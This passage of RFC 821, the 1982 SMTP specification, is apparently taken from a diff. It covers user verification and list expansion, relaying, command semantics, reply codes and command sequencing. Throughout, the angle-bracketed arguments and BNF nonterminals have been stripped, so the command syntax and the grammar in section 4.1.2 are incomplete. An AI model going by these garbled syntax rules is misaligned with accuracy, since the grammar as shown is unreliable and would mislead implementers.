ambiguous". + + The case of verifying a user name is straightforward as shown in + example 3. + + + + + + + + + + + + + + +[Page 8] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + ------------------------------------------------------------- + + Example of Verifying a User Name + + Either + + S: VRFY Smith + R: 250 Fred Smith + + Or + + S: VRFY Smith + R: 251 User not local; will forward to + + Or + + S: VRFY Jones + R: 550 String does not match anything. + + Or + + S: VRFY Jones + R: 551 User not local; please try + + Or + + S: VRFY Gourzenkyinplatz + R: 553 User ambiguous. + + Example 3 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + +Postel [Page 9] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + The case of expanding a mailbox list requires a multiline reply as + shown in example 4. + + ------------------------------------------------------------- + + Example of Expanding a Mailing List + + Either + + S: EXPN Example-People + R: 250-Jon Postel + R: 250-Fred Fonebone + R: 250-Sam Q. Smith + R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA> + R: 250- + R: 250 + + Or + + S: EXPN Executive-Washroom-List + R: 550 Access Denied to You. + + Example 4 + + ------------------------------------------------------------- + + The character string arguments of the VRFY and EXPN commands + cannot be further restricted due to the variety of implementations + of the user name and mailbox list concepts. On some systems it + may be appropriate for the argument of the EXPN command to be a + file name for a file containing a mailing list, but again there is + a variety of file naming conventions in the Internet. + + The VRFY and EXPN commands are not included in the minimum + implementation (Section 4.5.1), and are not required to work + across relays when they are implemented. + + + + + + + + + + + + + +[Page 10] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 3.4. SENDING AND MAILING + + The main purpose of SMTP is to deliver messages to user's + mailboxes. A very similar service provided by some hosts is to + deliver messages to user's terminals (provided the user is active + on the host). The delivery to the user's mailbox is called + "mailing", the delivery to the user's terminal is called + "sending". Because in many hosts the implementation of sending is + nearly identical to the implementation of mailing these two + functions are combined in SMTP. However the sending commands are + not included in the required minimum implementation + (Section 4.5.1). Users should have the ability to control the + writing of messages on their terminals. Most hosts permit the + users to accept or refuse such messages. + + The following three command are defined to support the sending + options. These are used in the mail transaction instead of the + MAIL command and inform the receiver-SMTP of the special semantics + of this transaction: + + SEND FROM: + + The SEND command requires that the mail data be delivered to + the user's terminal. If the user is not active (or not + accepting terminal messages) on the host a 450 reply may + returned to a RCPT command. The mail transaction is + successful if the message is delivered the terminal. + + SOML FROM: + + The Send Or MaiL command requires that the mail data be + delivered to the user's terminal if the user is active (and + accepting terminal messages) on the host. If the user is + not active (or not accepting terminal messages) then the + mail data is entered into the user's mailbox. The mail + transaction is successful if the message is delivered either + to the terminal or the mailbox. + + SAML FROM: + + The Send And MaiL command requires that the mail data be + delivered to the user's terminal if the user is active (and + accepting terminal messages) on the host. In any case the + mail data is entered into the user's mailbox. The mail + transaction is successful if the message is delivered the + mailbox. + + + +Postel [Page 11] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + The same reply codes that are used for the MAIL commands are used + for these commands. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 12] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 3.5. OPENING AND CLOSING + + At the time the transmission channel is opened there is an + exchange to ensure that the hosts are communicating with the hosts + they think they are. + + The following two commands are used in transmission channel + opening and closing: + + HELO + + QUIT + + In the HELO command the host sending the command identifies + itself; the command may be interpreted as saying "Hello, I am + ". + + ------------------------------------------------------------- + + Example of Connection Opening + + R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready + S: HELO USC-ISIF.ARPA + R: 250 BBN-UNIX.ARPA + + Example 5 + + ------------------------------------------------------------- + + ------------------------------------------------------------- + + Example of Connection Closing + + S: QUIT + R: 221 BBN-UNIX.ARPA Service closing transmission channel + + Example 6 + + ------------------------------------------------------------- + + + + + + + + + + +Postel [Page 13] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + 3.6. RELAYING + + The forward-path may be a source route of the form + "@ONE,@TWO:JOE@THREE", where ONE, TWO, and THREE are hosts. This + form is used to emphasize the distinction between an address and a + route. The mailbox is an absolute address, and the route is + information about how to get there. The two concepts should not + be confused. + + Conceptually the elements of the forward-path are moved to the + reverse-path as the message is relayed from one server-SMTP to + another. The reverse-path is a reverse source route, (i.e., a + source route from the current location of the message to the + originator of the message). When a server-SMTP deletes its + identifier from the forward-path and inserts it into the + reverse-path, it must use the name it is known by in the + environment it is sending into, not the environment the mail came + from, in case the server-SMTP is known by different names in + different environments. + + If when the message arrives at an SMTP the first element of the + forward-path is not the identifier of that SMTP the element is not + deleted from the forward-path and is used to determine the next + SMTP to send the message to. In any case, the SMTP adds its own + identifier to the reverse-path. + + Using source routing the receiver-SMTP receives mail to be relayed + to another server-SMTP The receiver-SMTP may accept or reject the + task of relaying the mail in the same way it accepts or rejects + mail for a local user. The receiver-SMTP transforms the command + arguments by moving its own identifier from the forward-path to + the beginning of the reverse-path. The receiver-SMTP then becomes + a sender-SMTP, establishes a transmission channel to the next SMTP + in the forward-path, and sends it the mail. + + The first host in the reverse-path should be the host sending the + SMTP commands, and the first host in the forward-path should be + the host receiving the SMTP commands. + + Notice that the forward-path and reverse-path appear in the SMTP + commands and replies, but not necessarily in the message. That + is, there is no need for these paths and especially this syntax to + appear in the "To:" , "From:", "CC:", etc. fields of the message + header. + + If a server-SMTP has accepted the task of relaying the mail and + + + +[Page 14] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + later finds that the forward-path is incorrect or that the mail + cannot be delivered for whatever reason, then it must construct an + "undeliverable mail" notification message and send it to the + originator of the undeliverable mail (as indicated by the + reverse-path). + + This notification message must be from the server-SMTP at this + host. Of course, server-SMTPs should not send notification + messages about problems with notification messages. One way to + prevent loops in error reporting is to specify a null reverse-path + in the MAIL command of a notification message. When such a + message is relayed it is permissible to leave the reverse-path + null. A MAIL command with a null reverse-path appears as follows: + + MAIL FROM:<> + + An undeliverable mail notification message is shown in example 7. + This notification is in response to a message originated by JOE at + HOSTW and sent via HOSTX to HOSTY with instructions to relay it on + to HOSTZ. What we see in the example is the transaction between + HOSTY and HOSTX, which is the first step in the return of the + notification message. + + + + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 15] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + ------------------------------------------------------------- + + Example Undeliverable Mail Notification Message + + S: MAIL FROM:<> + R: 250 ok + S: RCPT TO:<@HOSTX.ARPA:JOE@HOSTW.ARPA> + R: 250 ok + S: DATA + R: 354 send the mail data, end with . + S: Date: 23 Oct 81 11:22:33 + S: From: SMTP@HOSTY.ARPA + S: To: JOE@HOSTW.ARPA + S: Subject: Mail System Problem + S: + S: Sorry JOE, your message to SAM@HOSTZ.ARPA lost. + S: HOSTZ.ARPA said this: + S: "550 No Such User" + S: . + R: 250 ok + + Example 7 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 16] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 3.7. DOMAINS + + Domains are a recently introduced concept in the ARPA Internet + mail system. The use of domains changes the address space from a + flat global space of simple character string host names to a + hierarchically structured rooted tree of global addresses. The + host name is replaced by a domain and host designator which is a + sequence of domain element strings separated by periods with the + understanding that the domain elements are ordered from the most + specific to the most general. + + For example, "USC-ISIF.ARPA", "Fred.Cambridge.UK", and + "PC7.LCS.MIT.ARPA" might be host-and-domain identifiers. + + Whenever domain names are used in SMTP only the official names are + used, the use of nicknames or aliases is not allowed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 17] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + 3.8. CHANGING ROLES + + The TURN command may be used to reverse the roles of the two + programs communicating over the transmission channel. + + If program-A is currently the sender-SMTP and it sends the TURN + command and receives an ok reply (250) then program-A becomes the + receiver-SMTP. + + If program-B is currently the receiver-SMTP and it receives the + TURN command and sends an ok reply (250) then program-B becomes + the sender-SMTP. + + To refuse to change roles the receiver sends the 502 reply. + + Please note that this command is optional. It would not normally + be used in situations where the transmission channel is TCP. + However, when the cost of establishing the transmission channel is + high, this command may be quite useful. For example, this command + may be useful in supporting be mail exchange using the public + switched telephone system as a transmission channel, especially if + some hosts poll other hosts for mail exchanges. + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 18] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + +4. THE SMTP SPECIFICATIONS + + 4.1. SMTP COMMANDS + + 4.1.1. COMMAND SEMANTICS + + The SMTP commands define the mail transfer or the mail system + function requested by the user. SMTP commands are character + strings terminated by . The command codes themselves are + alphabetic characters terminated by if parameters follow + and otherwise. The syntax of mailboxes must conform to + receiver site conventions. The SMTP commands are discussed + below. The SMTP replies are discussed in the Section 4.2. + + A mail transaction involves several data objects which are + communicated as arguments to different commands. The + reverse-path is the argument of the MAIL command, the + forward-path is the argument of the RCPT command, and the mail + data is the argument of the DATA command. These arguments or + data objects must be transmitted and held pending the + confirmation communicated by the end of mail data indication + which finalizes the transaction. The model for this is that + distinct buffers are provided to hold the types of data + objects, that is, there is a reverse-path buffer, a + forward-path buffer, and a mail data buffer. Specific commands + cause information to be appended to a specific buffer, or cause + one or more buffers to be cleared. + + HELLO (HELO) + + This command is used to identify the sender-SMTP to the + receiver-SMTP. The argument field contains the host name of + the sender-SMTP. + + The receiver-SMTP identifies itself to the sender-SMTP in + the connection greeting reply, and in the response to this + command. + + This command and an OK reply to it confirm that both the + sender-SMTP and the receiver-SMTP are in the initial state, + that is, there is no transaction in progress and all state + tables and buffers are cleared. + + + + + + + +Postel [Page 19] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + MAIL (MAIL) + + This command is used to initiate a mail transaction in which + the mail data is delivered to one or more mailboxes. The + argument field contains a reverse-path. + + The reverse-path consists of an optional list of hosts and + the sender mailbox. When the list of hosts is present, it + is a "reverse" source route and indicates that the mail was + relayed through each host on the list (the first host in the + list was the most recent relay). This list is used as a + source route to return non-delivery notices to the sender. + As each relay host adds itself to the beginning of the list, + it must use its name as known in the IPCE to which it is + relaying the mail rather than the IPCE from which the mail + came (if they are different). In some types of error + reporting messages (for example, undeliverable mail + notifications) the reverse-path may be null (see Example 7). + + This command clears the reverse-path buffer, the + forward-path buffer, and the mail data buffer; and inserts + the reverse-path information from this command into the + reverse-path buffer. + + RECIPIENT (RCPT) + + This command is used to identify an individual recipient of + the mail data; multiple recipients are specified by multiple + use of this command. + + The forward-path consists of an optional list of hosts and a + required destination mailbox. When the list of hosts is + present, it is a source route and indicates that the mail + must be relayed to the next host on the list. If the + receiver-SMTP does not implement the relay function it may + user the same reply it would for an unknown local user + (550). + + When mail is relayed, the relay host must remove itself from + the beginning forward-path and put itself at the beginning + of the reverse-path. When mail reaches its ultimate + destination (the forward-path contains only a destination + mailbox), the receiver-SMTP inserts it into the destination + mailbox in accordance with its host mail conventions. + + + + + +[Page 20] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + For example, mail received at relay host A with arguments + + FROM: + TO:<@HOSTA.ARPA,@HOSTB.ARPA:USERC@HOSTD.ARPA> + + will be relayed on to host B with arguments + + FROM:<@HOSTA.ARPA:USERX@HOSTY.ARPA> + TO:<@HOSTB.ARPA:USERC@HOSTD.ARPA>. + + This command causes its forward-path argument to be appended + to the forward-path buffer. + + DATA (DATA) + + The receiver treats the lines following the command as mail + data from the sender. This command causes the mail data + from this command to be appended to the mail data buffer. + The mail data may contain any of the 128 ASCII character + codes. + + The mail data is terminated by a line containing only a + period, that is the character sequence "." (see + Section 4.5.2 on Transparency). This is the end of mail + data indication. + + The end of mail data indication requires that the receiver + must now process the stored mail transaction information. + This processing consumes the information in the reverse-path + buffer, the forward-path buffer, and the mail data buffer, + and on the completion of this command these buffers are + cleared. If the processing is successful the receiver must + send an OK reply. If the processing fails completely the + receiver must send a failure reply. + + When the receiver-SMTP accepts a message either for relaying + or for final delivery it inserts at the beginning of the + mail data a time stamp line. The time stamp line indicates + the identity of the host that sent the message, and the + identity of the host that received the message (and is + inserting this time stamp), and the date and time the + message was received. Relayed messages will have multiple + time stamp lines. + + When the receiver-SMTP makes the "final delivery" of a + message it inserts at the beginning of the mail data a + + + +Postel [Page 21] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + return path line. The return path line preserves the + information in the from the MAIL command. + Here, final delivery means the message leaves the SMTP + world. Normally, this would mean it has been delivered to + the destination user, but in some cases it may be further + processed and transmitted by another mail system. + + It is possible for the mailbox in the return path be + different from the actual sender's mailbox, for example, + if error responses are to be delivered a special error + handling mailbox rather than the message senders. + + The preceding two paragraphs imply that the final mail data + will begin with a return path line, followed by one or more + time stamp lines. These lines will be followed by the mail + data header and body [2]. See Example 8. + + Special mention is needed of the response and further action + required when the processing following the end of mail data + indication is partially successful. This could arise if + after accepting several recipients and the mail data, the + receiver-SMTP finds that the mail data can be successfully + delivered to some of the recipients, but it cannot be to + others (for example, due to mailbox space allocation + problems). In such a situation, the response to the DATA + command must be an OK reply. But, the receiver-SMTP must + compose and send an "undeliverable mail" notification + message to the originator of the message. Either a single + notification which lists all of the recipients that failed + to get the message, or separate notification messages must + be sent for each failed recipient (see Example 7). All + undeliverable mail notification messages are sent using the + MAIL command (even if they result from processing a SEND, + SOML, or SAML command). + + + + + + + + + + + + + + + +[Page 22] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + ------------------------------------------------------------- + + Example of Return Path and Received Time Stamps + + Return-Path: <@GHI.ARPA,@DEF.ARPA,@ABC.ARPA:JOE@ABC.ARPA> + Received: from GHI.ARPA by JKL.ARPA ; 27 Oct 81 15:27:39 PST + Received: from DEF.ARPA by GHI.ARPA ; 27 Oct 81 15:15:13 PST + Received: from ABC.ARPA by DEF.ARPA ; 27 Oct 81 15:01:59 PST + Date: 27 Oct 81 15:01:01 PST + From: JOE@ABC.ARPA + Subject: Improved Mailing System Installed + To: SAM@JKL.ARPA + + This is to inform you that ... + + Example 8 + + ------------------------------------------------------------- + + SEND (SEND) + + This command is used to initiate a mail transaction in which + the mail data is delivered to one or more terminals. The + argument field contains a reverse-path. This command is + successful if the message is delivered to a terminal. + + The reverse-path consists of an optional list of hosts and + the sender mailbox. When the list of hosts is present, it + is a "reverse" source route and indicates that the mail was + relayed through each host on the list (the first host in the + list was the most recent relay). This list is used as a + source route to return non-delivery notices to the sender. + As each relay host adds itself to the beginning of the list, + it must use its name as known in the IPCE to which it is + relaying the mail rather than the IPCE from which the mail + came (if they are different). + + This command clears the reverse-path buffer, the + forward-path buffer, and the mail data buffer; and inserts + the reverse-path information from this command into the + reverse-path buffer. + + SEND OR MAIL (SOML) + + This command is used to initiate a mail transaction in which + the mail data is delivered to one or more terminals or + + + +Postel [Page 23] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + mailboxes. For each recipient the mail data is delivered to + the recipient's terminal if the recipient is active on the + host (and accepting terminal messages), otherwise to the + recipient's mailbox. The argument field contains a + reverse-path. This command is successful if the message is + delivered to a terminal or the mailbox. + + The reverse-path consists of an optional list of hosts and + the sender mailbox. When the list of hosts is present, it + is a "reverse" source route and indicates that the mail was + relayed through each host on the list (the first host in the + list was the most recent relay). This list is used as a + source route to return non-delivery notices to the sender. + As each relay host adds itself to the beginning of the list, + it must use its name as known in the IPCE to which it is + relaying the mail rather than the IPCE from which the mail + came (if they are different). + + This command clears the reverse-path buffer, the + forward-path buffer, and the mail data buffer; and inserts + the reverse-path information from this command into the + reverse-path buffer. + + SEND AND MAIL (SAML) + + This command is used to initiate a mail transaction in which + the mail data is delivered to one or more terminals and + mailboxes. For each recipient the mail data is delivered to + the recipient's terminal if the recipient is active on the + host (and accepting terminal messages), and for all + recipients to the recipient's mailbox. The argument field + contains a reverse-path. This command is successful if the + message is delivered to the mailbox. + + The reverse-path consists of an optional list of hosts and + the sender mailbox. When the list of hosts is present, it + is a "reverse" source route and indicates that the mail was + relayed through each host on the list (the first host in the + list was the most recent relay). This list is used as a + source route to return non-delivery notices to the sender. + As each relay host adds itself to the beginning of the list, + it must use its name as known in the IPCE to which it is + relaying the mail rather than the IPCE from which the mail + came (if they are different). + + This command clears the reverse-path buffer, the + + + +[Page 24] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + forward-path buffer, and the mail data buffer; and inserts + the reverse-path information from this command into the + reverse-path buffer. + + RESET (RSET) + + This command specifies that the current mail transaction is + to be aborted. Any stored sender, recipients, and mail data + must be discarded, and all buffers and state tables cleared. + The receiver must send an OK reply. + + VERIFY (VRFY) + + This command asks the receiver to confirm that the argument + identifies a user. If it is a user name, the full name of + the user (if known) and the fully specified mailbox are + returned. + + This command has no effect on any of the reverse-path + buffer, the forward-path buffer, or the mail data buffer. + + EXPAND (EXPN) + + This command asks the receiver to confirm that the argument + identifies a mailing list, and if so, to return the + membership of that list. The full name of the users (if + known) and the fully specified mailboxes are returned in a + multiline reply. + + This command has no effect on any of the reverse-path + buffer, the forward-path buffer, or the mail data buffer. + + HELP (HELP) + + This command causes the receiver to send helpful information + to the sender of the HELP command. The command may take an + argument (e.g., any command name) and return more specific + information as a response. + + This command has no effect on any of the reverse-path + buffer, the forward-path buffer, or the mail data buffer. + + + + + + + + +Postel [Page 25] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + NOOP (NOOP) + + This command does not affect any parameters or previously + entered commands. It specifies no action other than that + the receiver send an OK reply. + + This command has no effect on any of the reverse-path + buffer, the forward-path buffer, or the mail data buffer. + + QUIT (QUIT) + + This command specifies that the receiver must send an OK + reply, and then close the transmission channel. + + The receiver should not close the transmission channel until + it receives and replies to a QUIT command (even if there was + an error). The sender should not close the transmission + channel until it send a QUIT command and receives the reply + (even if there was an error response to a previous command). + If the connection is closed prematurely the receiver should + act as if a RSET command had been received (canceling any + pending transaction, but not undoing any previously + completed transaction), the sender should act as if the + command or transaction in progress had received a temporary + error (4xx). + + TURN (TURN) + + This command specifies that the receiver must either (1) + send an OK reply and then take on the role of the + sender-SMTP, or (2) send a refusal reply and retain the role + of the receiver-SMTP. + + If program-A is currently the sender-SMTP and it sends the + TURN command and receives an OK reply (250) then program-A + becomes the receiver-SMTP. Program-A is then in the initial + state as if the transmission channel just opened, and it + then sends the 220 service ready greeting. + + If program-B is currently the receiver-SMTP and it receives + the TURN command and sends an OK reply (250) then program-B + becomes the sender-SMTP. Program-B is then in the initial + state as if the transmission channel just opened, and it + then expects to receive the 220 service ready greeting. + + To refuse to change roles the receiver sends the 502 reply. + + + +[Page 26] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + There are restrictions on the order in which these command may + be used. + + The first command in a session must be the HELO command. + The HELO command may be used later in a session as well. If + the HELO command argument is not acceptable a 501 failure + reply must be returned and the receiver-SMTP must stay in + the same state. + + The NOOP, HELP, EXPN, and VRFY commands can be used at any + time during a session. + + The MAIL, SEND, SOML, or SAML commands begin a mail + transaction. Once started a mail transaction consists of + one of the transaction beginning commands, one or more RCPT + commands, and a DATA command, in that order. A mail + transaction may be aborted by the RSET command. There may + be zero or more transactions in a session. + + If the transaction beginning command argument is not + acceptable a 501 failure reply must be returned and the + receiver-SMTP must stay in the same state. If the commands + in a transaction are out of order a 503 failure reply must + be returned and the receiver-SMTP must stay in the same + state. + + The last command in a session must be the QUIT command. The + QUIT command can not be used at any other time in a session. + + 4.1.2. COMMAND SYNTAX + + The commands consist of a command code followed by an argument + field. Command codes are four alphabetic characters. Upper + and lower case alphabetic characters are to be treated + identically. Thus, any of the following may represent the mail + command: + + MAIL Mail mail MaIl mAIl + + This also applies to any symbols representing parameter values, + such as "TO" or "to" for the forward-path. Command codes and + the argument fields are separated by one or more spaces. + However, within the reverse-path and forward-path arguments + case is important. In particular, in some hosts the user + "smith" is different from the user "Smith". + + + + +Postel [Page 27] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + The argument field consists of a variable length character + string ending with the character sequence . The receiver + is to take no action until this sequence is received. + + Square brackets denote an optional argument field. If the + option is not taken, the appropriate default is implied. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 28] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + The following are the SMTP commands: + + HELO + + MAIL FROM: + + RCPT TO: + + DATA + + RSET + + SEND FROM: + + SOML FROM: + + SAML FROM: + + VRFY + + EXPN + + HELP [ ] + + NOOP + + QUIT + + TURN + + + + + + + + + + + + + + + + + + + + +Postel [Page 29] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + The syntax of the above argument fields (using BNF notation + where applicable) is given below. The "..." notation indicates + that a field may be repeated one or more times. + + ::= + + ::= + + ::= "<" [ ":" ] ">" + + ::= | "," + + ::= "@" + + ::= | "." + + ::= | "#" | "[" "]" + + ::= "@" + + ::= | + + ::= + + ::= | + + ::= | + + ::= | | "-" + + ::= | "." + + ::= | + + ::= """ """ + + ::= "\" | "\" | | + + ::= | "\" + + ::= "." "." "." + + ::= | + + ::= + + + + +[Page 30] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + ::= the carriage return character (ASCII code 13) + + ::= the line feed character (ASCII code 10) + + ::= the space character (ASCII code 32) + + ::= one, two, or three digits representing a decimal + integer value in the range 0 through 255 + + ::= any one of the 52 alphabetic characters A through Z + in upper case and a through z in lower case + + ::= any one of the 128 ASCII characters, but not any + or + + ::= any one of the ten digits 0 through 9 + + ::= any one of the 128 ASCII characters except , + , quote ("), or backslash (\) + + ::= any one of the 128 ASCII characters (no exceptions) + + ::= "<" | ">" | "(" | ")" | "[" | "]" | "\" | "." + | "," | ";" | ":" | "@" """ | the control + characters (ASCII codes 0 through 31 inclusive and + 127) + + Note that the backslash, "\", is a quote character, which is + used to indicate that the next character is to be used + literally (instead of its normal interpretation). For example, + "Joe\,Smith" could be used to indicate a single nine character + user field with comma being the fourth character of the field. + + Hosts are generally known by names which are translated to + addresses in each host. Note that the name elements of domains + are the official names -- no use of nicknames or aliases is + allowed. + + Sometimes a host is not known to the translation function and + communication is blocked. To bypass this barrier two numeric + forms are also allowed for host "names". One form is a decimal + integer prefixed by a pound sign, "#", which indicates the + number is the address of the host. Another form is four small + decimal integers separated by dots and enclosed by brackets, + e.g., "[123.255.37.2]", which indicates a 32-bit ARPA Internet + Address in four 8-bit fields. + + + +Postel [Page 31] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + The time stamp line and the return path line are formally + defined as follows: + + ::= "Return-Path:" + + ::= "Received:" + + ::= ";" + + + ::= "FROM" + + ::= "BY" + + ::= [] [] [] [] + + ::= "VIA" + + ::= "WITH" + + ::= "ID" + + ::= "FOR" + + ::= The standard names for links are registered with + the Network Information Center. + + ::= The standard names for protocols are + registered with the Network Information Center. + + ::=
            ::= the one or two decimal integer day of the month in + the range 1 to 31. + + ::= "JAN" | "FEB" | "MAR" | "APR" | "MAY" | "JUN" | + "JUL" | "AUG" | "SEP" | "OCT" | "NOV" | "DEC" + + ::= the two decimal integer year of the century in the + range 00 to 99. + + + + + +[Page 32] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + ::= the two decimal integer hour of the day in the + range 00 to 24. + + ::= the two decimal integer minute of the hour in the + range 00 to 59. + + ::= the two decimal integer second of the minute in the + range 00 to 59. + + ::= "UT" for Universal Time (the default) or other + time zone designator (as in [2]). + + + + ------------------------------------------------------------- + + Return Path Example + + Return-Path: <@CHARLIE.ARPA,@BAKER.ARPA:JOE@ABLE.ARPA> + + Example 9 + + ------------------------------------------------------------- + + ------------------------------------------------------------- + + Time Stamp Line Example + + Received: FROM ABC.ARPA BY XYZ.ARPA ; 22 OCT 81 09:23:59 PDT + + Received: from ABC.ARPA by XYZ.ARPA via TELENET with X25 + id M12345 for Smith@PDQ.ARPA ; 22 OCT 81 09:23:59 PDT + + Example 10 + + ------------------------------------------------------------- + + + + + + + + + + + + + +Postel [Page 33] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + 4.2. SMTP REPLIES + + Replies to SMTP commands are devised to ensure the synchronization + of requests and actions in the process of mail transfer, and to + guarantee that the sender-SMTP always knows the state of the + receiver-SMTP. Every command must generate exactly one reply. + + The details of the command-reply sequence are made explicit in + Section 5.3 on Sequencing and Section 5.4 State Diagrams. + + An SMTP reply consists of a three digit number (transmitted as + three alphanumeric characters) followed by some text. The number + is intended for use by automata to determine what state to enter + next; the text is meant for the human user. It is intended that + the three digits contain enough encoded information that the + sender-SMTP need not examine the text and may either discard it or + pass it on to the user, as appropriate. In particular, the text + may be receiver-dependent and context dependent, so there are + likely to be varying texts for each reply code. A discussion of + the theory of reply codes is given in Appendix E. Formally, a + reply is defined to be the sequence: a three-digit code, , + one line of text, and , or a multiline reply (as defined in + Appendix E). Only the EXPN and HELP commands are expected to + result in multiline replies in normal circumstances, however + multiline replies are allowed for any command. + + + + + + + + + + + + + + + + + + + + + + + + +[Page 34] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 4.2.1. REPLY CODES BY FUNCTION GROUPS + + 500 Syntax error, command unrecognized + [This may include errors such as command line too long] + 501 Syntax error in parameters or arguments + 502 Command not implemented + 503 Bad sequence of commands + 504 Command parameter not implemented + + 211 System status, or system help reply + 214 Help message + [Information on how to use the receiver or the meaning of a + particular non-standard command; this reply is useful only + to the human user] + + 220 Service ready + 221 Service closing transmission channel + 421 Service not available, + closing transmission channel + [This may be a reply to any command if the service knows it + must shut down] + + 250 Requested mail action okay, completed + 251 User not local; will forward to + 450 Requested mail action not taken: mailbox unavailable + [E.g., mailbox busy] + 550 Requested action not taken: mailbox unavailable + [E.g., mailbox not found, no access] + 451 Requested action aborted: error in processing + 551 User not local; please try + 452 Requested action not taken: insufficient system storage + 552 Requested mail action aborted: exceeded storage allocation + 553 Requested action not taken: mailbox name not allowed + [E.g., mailbox syntax incorrect] + 354 Start mail input; end with . + 554 Transaction failed + + + + + + + + + + + + + +Postel [Page 35] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + 4.2.2. NUMERIC ORDER LIST OF REPLY CODES + + 211 System status, or system help reply + 214 Help message + [Information on how to use the receiver or the meaning of a + particular non-standard command; this reply is useful only + to the human user] + 220 Service ready + 221 Service closing transmission channel + 250 Requested mail action okay, completed + 251 User not local; will forward to + + 354 Start mail input; end with . + + 421 Service not available, + closing transmission channel + [This may be a reply to any command if the service knows it + must shut down] + 450 Requested mail action not taken: mailbox unavailable + [E.g., mailbox busy] + 451 Requested action aborted: local error in processing + 452 Requested action not taken: insufficient system storage + + 500 Syntax error, command unrecognized + [This may include errors such as command line too long] + 501 Syntax error in parameters or arguments + 502 Command not implemented + 503 Bad sequence of commands + 504 Command parameter not implemented + 550 Requested action not taken: mailbox unavailable + [E.g., mailbox not found, no access] + 551 User not local; please try + 552 Requested mail action aborted: exceeded storage allocation + 553 Requested action not taken: mailbox name not allowed + [E.g., mailbox syntax incorrect] + 554 Transaction failed + + + + + + + + + + + + + +[Page 36] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 4.3. SEQUENCING OF COMMANDS AND REPLIES + + The communication between the sender and receiver is intended to + be an alternating dialogue, controlled by the sender. As such, + the sender issues a command and the receiver responds with a + reply. The sender must wait for this response before sending + further commands. + + One important reply is the connection greeting. Normally, a + receiver will send a 220 "Service ready" reply when the connection + is completed. The sender should wait for this greeting message + before sending any commands. + + Note: all the greeting type replies have the official name of + the server host as the first word following the reply code. + + For example, + + 220 USC-ISIF.ARPA Service ready + + The table below lists alternative success and failure replies for + each command. These must be strictly adhered to; a receiver may + substitute text in the replies, but the meaning and action implied + by the code numbers and by the specific command reply sequence + cannot be altered. + + COMMAND-REPLY SEQUENCES + + Each command is listed with its possible replies. The prefixes + used before the possible replies are "P" for preliminary (not + used in SMTP), "I" for intermediate, "S" for success, "F" for + failure, and "E" for error. The 421 reply (service not + available, closing transmission channel) may be given to any + command if the SMTP-receiver knows it must shut down. This + listing forms the basis for the State Diagrams in Section 4.4. + + CONNECTION ESTABLISHMENT + S: 220 + F: 421 + HELO + S: 250 + E: 500, 501, 504, 421 + MAIL + S: 250 + F: 552, 451, 452 + E: 500, 501, 421 + + + +Postel [Page 37] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + RCPT + S: 250, 251 + F: 550, 551, 552, 553, 450, 451, 452 + E: 500, 501, 503, 421 + DATA + I: 354 -> data -> S: 250 + F: 552, 554, 451, 452 + F: 451, 554 + E: 500, 501, 503, 421 + RSET + S: 250 + E: 500, 501, 504, 421 + SEND + S: 250 + F: 552, 451, 452 + E: 500, 501, 502, 421 + SOML + S: 250 + F: 552, 451, 452 + E: 500, 501, 502, 421 + SAML + S: 250 + F: 552, 451, 452 + E: 500, 501, 502, 421 + VRFY + S: 250, 251 + F: 550, 551, 553 + E: 500, 501, 502, 504, 421 + EXPN + S: 250 + F: 550 + E: 500, 501, 502, 504, 421 + HELP + S: 211, 214 + E: 500, 501, 502, 504, 421 + NOOP + S: 250 + E: 500, 421 + QUIT + S: 221 + E: 500 + TURN + S: 250 + F: 502 + E: 500, 503 + + + + +[Page 38] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 4.4. STATE DIAGRAMS + + Following are state diagrams for a simple-minded SMTP + implementation. Only the first digit of the reply codes is used. + There is one state diagram for each group of SMTP commands. The + command groupings were determined by constructing a model for each + command and then collecting together the commands with + structurally identical models. + + For each command there are three possible outcomes: "success" + (S), "failure" (F), and "error" (E). In the state diagrams below + we use the symbol B for "begin", and the symbol W for "wait for + reply". + + First, the diagram that represents most of the SMTP commands: + + + 1,3 +---+ + ----------->| E | + | +---+ + | + +---+ 